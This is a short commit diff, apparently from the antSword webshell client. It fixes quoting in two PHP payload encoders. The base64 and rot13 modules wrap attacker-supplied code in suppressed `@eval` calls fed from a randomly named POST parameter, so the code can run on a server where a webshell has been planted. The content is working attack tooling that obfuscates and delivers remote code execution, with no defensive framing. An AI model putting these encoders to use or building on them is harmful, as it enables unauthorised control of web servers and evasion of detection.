变量名添加引号，解决随机变量名为php关键字时出现BUG

source/core/php/encoder/base64.js

@@ -16,7 +16,7 @@ module.exports = (pwd, data, ext = null) => {
   data[randomID] = Buffer
     .from(data['_'])
     .toString('base64');
-  data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;
+  data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;
   delete data['_'];
   return data;
 }
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source/core/php/encoder/rot13.js

@@ -27,7 +27,7 @@ module.exports = (pwd, data, ext = null) => {
     randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
   }
   data[randomID] = encode(data['_']);
-  data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`;
+  data[pwd] = `@eval(@str_rot13($_POST['${randomID}']));`;
   delete data['_'];
   return data;
 }
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